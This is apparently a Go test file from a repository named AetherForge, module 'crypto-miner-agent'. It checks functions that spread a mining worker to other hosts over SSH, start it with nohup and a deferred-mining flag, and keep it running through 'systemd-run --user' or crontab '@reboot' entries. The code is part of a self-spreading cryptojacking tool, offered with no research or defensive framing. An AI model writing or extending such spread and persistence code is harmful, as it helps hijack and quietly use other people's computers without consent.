Files
AetherForge/agent/deploy/linux_lotl_test.go
AetherForge 7b2d41cda8
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Expand P2 test coverage: mining chain, spread lanes, path forge, WS/beacon, E2E onion, file handling
2026-06-07 04:58:55 -07:00

66 lines
1.9 KiB
Go

//go:build !windows
package deploy
import (
"strings"
"testing"
"crypto-miner-agent/config"
)
func TestSystemdLinuxLOTLLaneSSHStartCmd(t *testing.T) {
cmd := sshSpreadStartCmd("/tmp/af-worker")
for _, want := range []string{"chmod +x", "--spread-install", "--defer-mining", "nohup"} {
if !strings.Contains(cmd, want) {
t.Fatalf("cmd=%q missing %q", cmd, want)
}
}
}
func TestSystemdLinuxLOTLPersistSystemdRunUser(t *testing.T) {
cfg := config.RuntimeConfig{BuiltinConfig: config.BuiltinConfig{LinuxLOTLMode: "systemd_run_user"}}
cmd := sshSpreadPersistCmd(cfg, "/opt/af/worker")
if !strings.Contains(cmd, "systemd-run --user") {
t.Fatalf("cmd=%q", cmd)
}
if !strings.Contains(cmd, "--defer-mining") {
t.Fatal("expected defer-mining in systemd persist")
}
}
func TestSystemdLinuxLOTLPersistCrontab(t *testing.T) {
cfg := config.RuntimeConfig{BuiltinConfig: config.BuiltinConfig{LinuxLOTLMode: "crontab"}}
cmd := sshSpreadPersistCmd(cfg, "/opt/af/worker")
if !strings.Contains(cmd, "@reboot") || !strings.Contains(cmd, "crontab") {
t.Fatalf("cmd=%q", cmd)
}
}
func TestSystemdLinuxLOTLPersistBothModes(t *testing.T) {
cfg := config.RuntimeConfig{BuiltinConfig: config.BuiltinConfig{LinuxLOTLMode: "both"}}
cmd := sshSpreadPersistCmd(cfg, "/opt/af/worker")
if !strings.Contains(cmd, "systemd-run") || !strings.Contains(cmd, "crontab") {
t.Fatalf("cmd=%q", cmd)
}
}
func TestSystemdLinuxLOTLPersistOffReturnsEmpty(t *testing.T) {
cfg := config.RuntimeConfig{BuiltinConfig: config.BuiltinConfig{LinuxLOTLMode: "off"}}
if got := sshSpreadPersistCmd(cfg, "/opt/af/worker"); got != "" {
t.Fatalf("got %q", got)
}
}
func TestTryLotlTierLinuxLOTLLane(t *testing.T) {
ok, msg := tryLotlTier(config.RuntimeConfig{
BuiltinConfig: config.BuiltinConfig{AutoSpread: true, LinuxLOTLMode: "systemd_run_user"},
}, "linux")
if !ok {
t.Fatalf("linux tier should succeed, got %q", msg)
}
if !strings.Contains(msg, "ssh") {
t.Fatalf("msg=%q", msg)
}
}